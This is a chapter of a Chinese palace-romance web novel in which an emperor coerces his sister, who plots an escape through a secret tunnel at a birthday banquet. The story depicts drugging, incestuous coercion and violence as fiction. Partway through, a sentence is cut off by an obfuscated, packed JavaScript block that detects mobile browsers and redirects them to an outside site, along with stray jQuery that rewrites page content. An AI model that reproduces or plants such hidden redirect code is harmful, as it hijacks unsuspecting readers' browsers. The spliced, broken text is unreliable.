阳光从小轩窗折射进来,落在暗粉色纱帐上,染上了温和光晕。
可纱帐内的景象却并不温和,被撕扯成碎片的罗裙挂在了床楣旁,瓷枕和锦褥掉落在地。
榻上的娇小身躯被身侧之人紧紧圈在怀里,如瀑般的青丝垂落在身旁人的膝上。
“昨夜,可疼了?”
沈寂手掌在她的发丝间游走着,声音低哑。
沈知柔从他膝上挣脱开,缓缓起身下了榻。
可双脚刚沾地,膝盖就阵阵发软。
昨夜她误喝了那酒后,浑身燥热难耐,神思迷离。一直到了寅时,她才渐渐清醒过来…
见她脚步不稳,沈寂起身扶住了她。
昨夜他失了控,待两人沉沉入睡时,已天光渐亮了。
看来…他又过于粗暴了吗…
沈寂指尖撩起她的碎发道:“快把外襟穿好吧,别着凉。”
他拿起她的披帛,搭在她雪白的香肩上。
沈知柔推着他道:“你走开,我自己会更衣。”
纤弱无骨的玉手搭在他胸前,可却怎么也推不动眼前高大的身躯。
沈寂轻按住她的肩膀,为她穿上袖衫:“别动,朕帮你穿。”
他抬手搭上她腰间的裙带,细细的裙带被他系的歪斜,松垮的垂在她的腰肢旁。
沈知柔眼睫轻垂,默然无语的看着他的动作…
层层光圈落在眼前,看不清彼此的神情。
两人并立在小轩窗下,此刻隔远望去,好似那话本子里的俊郎与情姝一般缱绻旖旎…
…
长街遗落马蹄声,石桥边的卖花童正将竹篮搁在青砖上整理着花枝。
见迎面走来的两人气质矜贵,那卖花童眼睛亮了亮,当即小跑过去拽住了沈知柔的裙摆。
“姐姐,买束花吧,姐姐长的比花还娇,戴上这花定美极了。”
沈寂见状,眉心轻蹙了起来。他最是厌烦孩童…
一旁的景云将刀拔出了鞘,欲上前驱赶。
沈知柔轻笑了声,俯身摸了摸卖花童的头道:“谢谢你呀,嘴真甜,不过…我身上未带银两…”
她思忖一瞬,将手腕上的银镯摘了下来:“小妹妹,这个给你吧,我要那朵紫色的。”
卖花童接过银镯,眼底闪过一丝惊讶,甜声道:“谢谢姐姐!姐姐这般美,这位哥哥长的也似天上神仙一般,真是一对壁人呢!”
话落,她提着花篮喜盈盈的朝桥下跑去。
沈寂冷眼瞧了瞧小女孩的背影,偏过头看向沈知柔的清丽侧脸,温声道:“阿柔,若是我们以后有了孩子,一定很可爱。”
若是他与她有了孩子便好了。
有了孩子,她的心是不是就能在他身上了,是不是就不会那么恨他了。
沈知柔抬眼看向他,只觉阵阵恶寒…
孩子?跟他生出来的孩子,只怕也是恶鬼转世。
她宁愿去死,也不要与他有孩子。
沈寂并不知眼前人在想什么,他从她身后环住她的腰,下巴抵在她的头顶上:“哥哥才是你最亲的人,不是吗?”
两人的影子交叠相缠,扭曲的落于青砖之上。
见她迟迟不语,沈寂松开她,牵起她的手道:“走吧,该回宫了。”
远处的水榭里,魏九昭斜倚在石柱旁,眼神晦暗的望着桥上的两人。
骨节分明的手握在锋利的短剑上,愈握愈紧,剑柄深陷进掌心,斜割出道道血痕。
…
玉鼎内燃着清雅的沉水香,香气袅袅绕过低垂的云锦幔,将殿内熏染得一片暗香氤氲。
沈知柔轻托着冬雪的手臂,小心翼翼地替她擦拭着消肿的青露。
“公主,奴婢自己来吧。”
冬雪轻咬着牙,强忍着手臂上的刺痛开口道。
“无事,你莫动,竟伤成这样…”
梨云推门进来,将清水放在案上,瞧着冬雪满是伤痕的手忿忿道:“那帮歹人,竟不知你在公主身边当差的吗?为何不让公主替你做主!”
“这点小事,怎可扰了公主。我弟弟做甓师这些年,从未敢在做工时耍滑过。他们无非就是看我弟弟太老实,想讹些银子罢了。”
“一群土匪,真是欺人太甚。瞧你平时欺负我时厉害着,怎么这时候窝囊上了…”
梨云小声嘟囔着…话音落下,她才想起方才的事,冲沈知柔道:“公主,奴婢差点忘了,方才司言司的女史来过,说是谢家小姐想请您过几日去参加她的生辰宴。”
沈知柔抬头道:“谢家小姐?谢婉?”
梨云点了点头:“就是那位御史家的嫡小姐。”
“你就说我病着,无法参宴,到时送份厚礼过去罢了。沈寂是不会允我去的,若是说了,只怕还会牵连到谢小姐。”
沈知柔收起银镊,帮冬雪放下了袖角。
冬雪正欲起身,可提到谢家,她好似突然想到了什么,犹豫了半晌后,欲言又止道:“公主,您有没有想过…离开长安?”
她顿了顿,又道:“谢府五年前修缮时,奴婢的弟弟曾去当过石匠。谢家的老家主那时还在世,听说他当时整日里疑神疑鬼的,招来了好多石匠在府里暗修密道。”
“奴婢听弟弟说,那密道出口连着青阳城的码头,若一遭有变,可直接出密道沿着水路出逃。修密道的那些石匠后来都被谢家老家主杀了,我弟弟当时年幼,身量小,从狗洞中硬爬了出去,才得以活命。”
冬雪拉起沈知柔的手,眼里溢满心疼之色:“公主,此刻突然想起来,或许可以借着去谢府参宴之机,逃出长安…”
闻言,沈知柔微怔在原地,心下既悸动又恐慌。
想到能离开长安,一瞬间,好似连呼吸都顺畅了些许。
可沈寂怎会让她出宫去参宴,且若找不到那密道的位置,便是竹篮打水一场空。
万一被沈寂发现了,恐怕不止会折磨死她,还会要了梨云和冬雪的性命。
“公主,谢府若真有密道,奴婢觉得此事可行。”
梨云关上了漏窗,小声道。
她一向胆小怕事,可这些时日,她眼瞧着公主从明媚鲜活变得谨小慎微,终日郁郁…
“公主,娘娘若在天有灵,见您如今过的这般难耐,定也会心疼难安。”
沈知柔倚向漏窗边,指尖摩挲着腰间母妃曾送她的玉环,目光渐渐涣散…
良久,她轻声道:“若要逃,我们只能一起逃出去。”
…
暖黄烛火在梁柱间投下斑驳阴影,金炉中腾起的轻烟在半空中缠成模糊的团雾。
燃尽的火烛刚刚熄灭,烛台就被横空拿起,向阶下之人猛地砸了过去。
徐长誉痛的闷哼一声,鲜血从他的额间流落,滴在了金砖上。
他强忍着疼痛直起身子,慌忙叩首在地,连呼吸都不敢放重。
“陛下息怒,臣该死。”
沈寂将文书掼在他身前,怒斥道:“你是该死!你们户部派去的人都是吃干饭的吗?!渝州水灾已半月有余了,粥场和堰闸竟昨日才建好,一群废物!赋税缓征的事若明日再落实不了,朕把你们剁碎了喂狗!”
徐长誉冷汗浸湿了衣襟,正要开口求饶,身后的殿门被“吱呀”一声推开。
沈知柔端着汤羹站在殿门外,见此情状,她脚步一顿,杵在原地进退两难。
立在沈寂身后的李德顺见状,忙上前冲徐长誉道:“徐大人,陛下太牵挂灾民,这才动了怒。只要您能戴罪立功,以陛下仁慈宽厚之德,定不会真降罪于您的。”
说着,他冲徐长誉使了使眼色。
徐长誉擦了擦脸上的血,在地上重重磕了几个响头道:“陛下宽仁,臣定谨记圣恩,戴罪立功。”
话落,他喘着粗气,忙躬身退出了殿外。
见沈知柔进来,沈寂的情绪平稳了些许,暂且放过了徐长誉。
他看着她手中的汤道:“端的什么?”
“我…我想着你最近劳累,便去小厨房做了什锦汤,给你补补身子。”
沈寂低沉的笑了一声,起身贴近她耳畔道:“怎么…让朕补身子,妹妹是嫌朕不行?”
温热的呼吸喷洒在她耳边,她霎时耳尖滚烫,气恼的将汤羹搁在了案几上。
沈寂垂眸扫了一眼那汤羹,向后靠坐在龙椅上,抬眼看向她道:“说吧,阿柔有何事?”
若无事,她怕是恨不得在他眼前消失,突然向他来卖乖,定是藏了什么小心思。
“无事呀…我就是来看看你。”
沈寂的目光在她身上扫视着,让她觉得浑身发麻。
沈知柔轻绞着袖口,小声道:“谢家小姐邀我去她的生辰宴,我可以去吗?”
沈寂拿起篆笔在手里转着,未开口答她。
气氛一时间沉默下来,李德顺清咳了声,谄笑道:“陛下,这谢家小姐是出了名的好秉性,公主若与她常
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367038|178540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来往,许是好事呢。”
沈寂斜睨了他一眼,李德顺忙住了口,抬手抽了自己两个耳光:“瞧奴才这嘴,奴才该死,奴才该死。”
“滚出去。”
“是,是,奴才告退。”
待李德顺退了出去,沈寂温声道:“朕这些时日朝政忙,你若还想出宫玩,待下个月,朕在陪你去,你不可自己出宫。”
见他不允,沈知柔心下渐沉…
她咬了咬下唇,走到沈寂身侧,轻拽住他的衣袖,嗲声道:“哥哥,我从小朋友甚少,你是知道的…这些时日经常梦见母妃,我心下难受的紧,那谢小姐待人温和有礼,我也只是想交个朋友,解解心头苦闷罢了。”
“求求你了,哥哥…”
她声音糯糯的,沈寂望着她泛起水光的杏眼,心下霎时一软,连方才被徐长誉惹出的怒气都消散了一半。
罢了…一个生辰宴而已,派人跟着她便是。
他轻拽起她脖颈上的珠链,玩味道:“怎么求?嗯?”
“我…”
沈知柔肩膀微僵,有些无措的看向他。
沈寂嗤笑一声,将她拉到自己的膝上,捏了捏她的脸颊…
“亲朕一口,就让你去。”
*
暮色初临,桂香漫过回廊,垂花门内响起玉盏相碰的清脆声。
谢婉在花厅内与宾客寒暄完,便提裙坐到了沈知柔身旁。
她拿起桌上的糕点放进嘴里,将腮帮撑的鼓鼓的,娇憨道:“真是累死我了,没想到我过生辰,最累的竟是我。”
“不过今年能得公主殿下捧场,我便是再累也值了,想必别家小姐这下可要羡慕坏了呢。”
沈知柔冲她笑了笑,眼尾扫过满院的衣香鬓影,众人皆对她恭敬有加,小心翼翼,可却无一人来与她同桌…
“你还累,你哥哥我为你这生辰宴忙前忙后了这么些天,才是累坏了!都未见你来道句谢!”
谢清晏从廊下走了过来,他穿着一袭淡蓝色长袍,眉眼清润,唇角上噙着笑意,俯身冲沈知柔行礼。
谢婉冲他吐了吐舌头,随即问道:“对了,哥,魏大人为何没来?你不是发了请帖?”
“哦,他说他有要事,实在脱不开身,让我跟你道声不是。”
谢婉脸上的笑意瞬间黯淡下来,恹恹道:“原来如此,我说怎么不见魏大人…”
谢清晏坐在锦凳上,目光落在沈知柔轻晃着的铃兰耳坠上,微赧着开口道:“公主殿下,您近日可安好?陛下他…”
正说着,一旁突然响起了叫嚷声,有人吃醉了酒打闹起来,兄妹两人听见动静,忙起身走了过去。
众人的目光此刻皆落在打闹的两人身上。
沈知柔四下望了望,冲身后沈寂派来跟着她的一众侍卫道:“我方才饮酒弄湿了衣裙,我要去后院更衣,不必跟着我了。”
“这…公主,可是陛下吩咐,让我们寸步不离的护着您。”
“我要去更衣,你们跟着我做何?是想冒犯于我吗?”
那侍卫忙拱手道:“公主殿下误会了,属下不敢。”
沈知柔未在理他,转身向回廊后走去。
梨云和冬雪还在后院等着她,适才她脱不开身,又被侍卫紧盯着,因此梨云和冬雪便先在谢府里查探着情况。
沈知柔快步穿过回廊,有些发怵的拉起铜环,推开了谢府后院的红色大门,她心下急切,可动作却轻缓至极,生怕发出太大的声响。
谢府的人此时都在前厅奔走着,加上此处偏僻,因而无人注意到在此候着的冬雪和梨云。
后院内杂草丛生,像是已许久无人打理,墙角的石凳被草蔓缠了大半。
“公主!奴婢在这!”
沈知柔闻声望去,向梨云和冬雪小跑了过去:“确定是这里吗?”
冬雪点了点头,低声道:“奴婢细细问了弟弟,还特意让他画了布图,他说他记得准没错,就是后院的这口枯井里。”
她又转身指向墙下的狗洞:“许是当年差点丧了命,他连那狗洞的位置,至今都还记得一清二楚。可这狗洞实在太小了,怕是只有孩童的身量才能钻的过去了…”
梨云走到那枯井旁,探着身子向下望了望,漆黑的井内深不见底,她不自觉的打了个寒颤,声音带着哭腔:“可这井这么深,我们如何下得去?”
冬雪方要开口,身后突然传来了响动声,红色大门“哐当”一声被人推开…